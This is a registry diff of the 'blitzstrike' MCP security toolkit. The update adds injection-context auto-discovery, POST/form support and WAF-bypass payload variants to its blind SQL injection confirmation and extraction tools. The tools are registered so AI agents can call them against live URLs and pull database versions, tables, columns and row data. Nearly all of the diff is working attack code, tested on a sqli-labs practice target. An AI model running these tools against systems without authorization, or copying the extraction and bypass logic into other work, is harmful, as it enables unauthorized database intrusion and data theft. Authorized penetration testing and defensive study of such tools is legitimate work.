blitzstrike 2.4.157 → 2.4.158

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,19 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [2.4.158] — 2026-10-11
9
+
10
+ ### Added — injection-context adaptation + POST support (blind SQLi)
11
+
12
+ - `blind_sqli_confirm` + `blind_sqli_extract` now AUTO-DISCOVER the injection
13
+ context (single quote ' / double quote " / numeric / parenthesized ')·") and
14
+ adapt the oracle + extraction payloads, instead of assuming single-quote.
15
+ - Added `method` (GET/POST) + `body` template ({value} placeholder) so form/login
16
+ blind SQLi (POST) works — verified on sqli-labs Less-15 (POST uname/passwd).
17
+ - Verified on sqli-labs advanced set: Less-8 single-quote boolean, Less-9 single-
18
+ quote time, Less-10 double-quote time, Less-15 POST — all confirm + extract
19
+ version/database cleanly.
20
+
8
21
  ## [2.4.157] — 2026-10-11
9
22
 
10
23
  ### Added — SQLi type taxonomy + diagnostic flow (LLM understanding)
package/dist/index.js CHANGED
@@ -62444,55 +62444,66 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62444
62444
  };
62445
62445
  }
62446
62446
  function oracleBypassVariants(base) {
62447
+ const body = base.replace(/^'/, "");
62447
62448
  return [
62448
62449
  base,
62450
+ `"${body}`,
62451
+ body,
62452
+ `')${body}`,
62453
+ `")${body}`,
62449
62454
  base.replace("-- -", "#"),
62450
- base.replace("-- -", "--"),
62451
62455
  base.replace(/ /g, "/**/"),
62452
- base.replace(/AND/g, "aNd"),
62453
- base.replace(/^'/, '"'),
62454
- base.replace(/^'/, "')")
62456
+ base.replace(/AND/g, "aNd")
62455
62457
  ];
62456
62458
  }
62457
62459
  function extractBypassVariants(tpl) {
62458
62460
  const fn = tpl.includes("SUBSTRING") ? "SUBSTRING" : "SUBSTR";
62459
- return [
62460
- tpl,
62461
- tpl.replace(fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR"),
62462
- tpl.replace(fn, fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING"),
62463
- tpl.replace(fn, "MID"),
62464
- tpl.replace(fn, `${fn}/**/`)
62465
- ];
62461
+ const fns = [fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR", fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING", "MID"];
62462
+ const contexts = ["'", '"', "", "')", '")'];
62463
+ const variants = [];
62464
+ for (const c of contexts)
62465
+ for (const f of fns)
62466
+ variants.push(tpl.replace(/^'/, c).replace(fn, f));
62467
+ return variants;
62468
+ }
62469
+ function makeFetcher(base, param, method, bodyTpl) {
62470
+ const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike)" };
62471
+ return {
62472
+ async size(payload) {
62473
+ try {
62474
+ let r;
62475
+ if (method === "POST") {
62476
+ const body = (bodyTpl ?? `${param}={value}`).replace("{value}", payload);
62477
+ r = await fetch(base, { method: "POST", headers: { ...headers, "Content-Type": "application/x-www-form-urlencoded" }, redirect: "follow", signal: AbortSignal.timeout(9000), body });
62478
+ } else {
62479
+ r = await fetch(`${base}?${encodeURIComponent(param)}=${encodeURIComponent(payload)}`, { headers, redirect: "follow", signal: AbortSignal.timeout(9000) });
62480
+ }
62481
+ return (await r.text()).length;
62482
+ } catch {
62483
+ return -1;
62484
+ }
62485
+ },
62486
+ async time(payload) {
62487
+ const t0 = Date.now();
62488
+ await this.size(payload);
62489
+ return Date.now() - t0;
62490
+ }
62491
+ };
62466
62492
  }
62467
- async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
62493
+ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql", opts = {}) {
62468
62494
  const base = baseUrl.replace(/\/+$/, "") + "/";
62469
62495
  const p = blindSqli(dbms);
62470
62496
  if (!p)
62471
62497
  return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
62472
- const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike confirm)" };
62473
- const build = (payload) => `${base}?${encodeURIComponent(param)}=${encodeURIComponent(payload)}`;
62474
- const fetchSize = async (payload) => {
62475
- try {
62476
- const r = await fetch(build(payload), { headers, redirect: "follow", signal: AbortSignal.timeout(9000) });
62477
- const body = await r.text();
62478
- return { ok: true, status: r.status, size: body.length };
62479
- } catch (e) {
62480
- return { ok: false, status: 0, size: 0 };
62481
- }
62482
- };
62483
- const fetchTiming = async (payload) => {
62484
- const t0 = Date.now();
62485
- const r = await fetchSize(payload);
62486
- return { ok: r.ok, size: r.size, ms: Date.now() - t0 };
62487
- };
62488
- let boolDiff = false, bt = { ok: false, size: 0 }, bf = { ok: false, size: 0 };
62498
+ const F = makeFetcher(base, param, opts.method ?? "GET", opts.body);
62499
+ let boolDiff = false, bt = -1, bf = -1;
62489
62500
  let boolBypass = null;
62490
62501
  const btv = oracleBypassVariants(p.oracle.boolean_true);
62491
62502
  const bfv = oracleBypassVariants(p.oracle.boolean_false);
62492
62503
  for (let i = 0;i < btv.length; i++) {
62493
- const t = await fetchSize(`${value}${btv[i]}`);
62494
- const f = await fetchSize(`${value}${bfv[i]}`);
62495
- if (t.ok && f.ok && t.size !== f.size) {
62504
+ const t = await F.size(`${value}${btv[i]}`);
62505
+ const f = await F.size(`${value}${bfv[i]}`);
62506
+ if (t >= 0 && f >= 0 && t !== f) {
62496
62507
  boolDiff = true;
62497
62508
  bt = t;
62498
62509
  bf = f;
@@ -62500,13 +62511,13 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
62500
62511
  break;
62501
62512
  }
62502
62513
  }
62503
- let timeDiff = false, tt = { ms: 0 }, tf = { ms: 0 };
62514
+ let timeDiff = false, tt = 0, tf = 0;
62504
62515
  const ttv = oracleBypassVariants(p.oracle.time_true);
62505
62516
  const tfv = oracleBypassVariants(p.oracle.time_false);
62506
62517
  for (let i = 0;i < ttv.length; i++) {
62507
- const t = await fetchTiming(`${value}${ttv[i]}`);
62508
- const f = await fetchTiming(`${value}${tfv[i]}`);
62509
- if (t.ms > 2000 && f.ms < 2000) {
62518
+ const t = await F.time(`${value}${ttv[i]}`);
62519
+ const f = await F.time(`${value}${tfv[i]}`);
62520
+ if (t > 2000 && f < 2000) {
62510
62521
  timeDiff = true;
62511
62522
  tt = t;
62512
62523
  tf = f;
@@ -62519,12 +62530,13 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
62519
62530
  dbms,
62520
62531
  param,
62521
62532
  value,
62522
- boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff, bypass: boolBypass },
62523
- time: { true_ms: tt.ms, false_ms: tf.ms, differential: timeDiff },
62533
+ method: opts.method ?? "GET",
62534
+ boolean: { true_size: bt, false_size: bf, differential: boolDiff, bypass: boolBypass },
62535
+ time: { true_ms: tt, false_ms: tf, differential: timeDiff },
62524
62536
  confirmed,
62525
62537
  channel,
62526
62538
  bypass_used: boolBypass,
62527
- evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt.size}b vs FALSE=${bf.size}b${boolBypass ? ` (bypass: ${boolBypass})` : ""}` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt.ms}ms vs FALSE≈${tf.ms}ms` : "") + "." : "no clean boolean or time differential observed (tried default + WAF-bypass variants) — not confirmed as blind SQLi."
62539
+ evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt}b vs FALSE=${bf}b${boolBypass ? ` (bypass: ${boolBypass})` : ""}` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt}ms vs FALSE≈${tf}ms` : "") + "." : "no clean boolean or time differential observed (tried default + WAF-bypass variants) — not confirmed as blind SQLi."
62528
62540
  };
62529
62541
  }
62530
62542
  function resolveQueryExpr(p, target, opts) {
@@ -62554,33 +62566,39 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62554
62566
  const queryExpr = resolveQueryExpr(p, target, opts);
62555
62567
  if (!queryExpr)
62556
62568
  return { error: `unknown target '${target}'`, known: ["version", "database", "user", "tables", "columns", "data"] };
62557
- const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike extract)" };
62558
- const build = (payload) => `${base}?${encodeURIComponent(param)}=${encodeURIComponent(payload)}`;
62569
+ const F = makeFetcher(base, param, opts.method ?? "GET", opts.body);
62570
+ const getSize = (payload) => F.size(payload);
62571
+ const getTime = (payload) => F.time(payload);
62559
62572
  const maxlen = opts.maxlen ?? 64;
62560
- const getSize = async (payload) => {
62561
- try {
62562
- const r = await fetch(build(payload), { headers, redirect: "follow", signal: AbortSignal.timeout(9000) });
62563
- return (await r.text()).length;
62564
- } catch {
62565
- return -1;
62566
- }
62567
- };
62568
- const getTime = async (payload) => {
62569
- const t0 = Date.now();
62570
- await getSize(payload);
62571
- return Date.now() - t0;
62572
- };
62573
62573
  let channel = opts.channel ?? "boolean";
62574
- let trueSize = -1, falseSize = -1;
62574
+ const contexts = ["'", '"', "", "')", '")'];
62575
+ let ctx = "'";
62576
+ let trueSize = -1;
62575
62577
  if (channel === "boolean") {
62576
- trueSize = await getSize(`${value}${p.oracle.boolean_true}`);
62577
- falseSize = await getSize(`${value}${p.oracle.boolean_false}`);
62578
- if (trueSize < 0 || falseSize < 0 || trueSize === falseSize) {
62578
+ for (const c of contexts) {
62579
+ const t = await getSize(`${value}${p.oracle.boolean_true.replace(/^'/, c)}`);
62580
+ const f = await getSize(`${value}${p.oracle.boolean_false.replace(/^'/, c)}`);
62581
+ if (t >= 0 && f >= 0 && t !== f) {
62582
+ ctx = c;
62583
+ trueSize = t;
62584
+ break;
62585
+ }
62586
+ }
62587
+ if (trueSize < 0)
62579
62588
  channel = "time";
62589
+ }
62590
+ if (channel === "time") {
62591
+ for (const c of contexts) {
62592
+ const t = await getTime(`${value}${p.oracle.time_true.replace(/^'/, c)}`);
62593
+ const f = await getTime(`${value}${p.oracle.time_false.replace(/^'/, c)}`);
62594
+ if (t > 2000 && f < 2000) {
62595
+ ctx = c;
62596
+ break;
62597
+ }
62580
62598
  }
62581
62599
  }
62582
62600
  const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
62583
- const baseTpl = channel === "time" ? p.extraction.time : p.extraction.boolean;
62601
+ const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
62584
62602
  const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
62585
62603
  const matches = async (tpl, pos, ch) => channel === "time" ? await getTime(render(tpl, pos, ch)) > 600 : await getSize(render(tpl, pos, ch)) === trueSize;
62586
62604
  const variants = extractBypassVariants(baseTpl);
@@ -62619,6 +62637,7 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62619
62637
  target,
62620
62638
  channel,
62621
62639
  query: queryExpr,
62640
+ context: ctx,
62622
62641
  extracted: out,
62623
62642
  char_count: out.length,
62624
62643
  bypass_used: tplBypass,
@@ -65344,10 +65363,12 @@ ${statusLine}` : statusLine },
65344
65363
  base_url: string2().describe("Target base URL"),
65345
65364
  param: string2().describe("Parameter name to confirm (e.g. id)"),
65346
65365
  value: string2().describe("Baseline value (e.g. 1)"),
65347
- dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
65366
+ dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)"),
65367
+ method: string2().optional().describe("'GET' (default) or 'POST' for form/login blind SQLi"),
65368
+ body: string2().optional().describe("POST body template with {value} placeholder for the injection point (e.g. 'uname={value}&passwd=admin&submit=Submit')")
65348
65369
  }
65349
- }, async ({ base_url, param, value, dbms }) => {
65350
- return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql")) }] };
65370
+ }, async ({ base_url, param, value, dbms, method, body }) => {
65371
+ return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body })) }] };
65351
65372
  });
65352
65373
  server.registerTool("blind_sqli_extract", {
65353
65374
  title: "Blind SQLi metadata extraction (autonomous)",
@@ -65361,10 +65382,12 @@ ${statusLine}` : statusLine },
65361
65382
  channel: string2().optional().describe("'boolean' or 'time' (default boolean, auto-falls-back to time)"),
65362
65383
  table: string2().optional().describe("Table name (for columns/data)"),
65363
65384
  column: string2().optional().describe("Column name (for data)"),
65364
- index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)")
65385
+ index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)"),
65386
+ method: string2().optional().describe("'GET' (default) or 'POST'"),
65387
+ body: string2().optional().describe("POST body template with {value} placeholder")
65365
65388
  }
65366
- }, async ({ base_url, param, value, dbms, target, channel, table, column, index }) => {
65367
- return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index })) }] };
65389
+ }, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body }) => {
65390
+ return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body })) }] };
65368
65391
  });
65369
65392
  server.registerTool("oob_start", {
65370
65393
  title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "blitzstrike",
3
- "version": "2.4.157",
3
+ "version": "2.4.158",
4
4
  "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
5
5
  "type": "module",
6
6
  "bin": {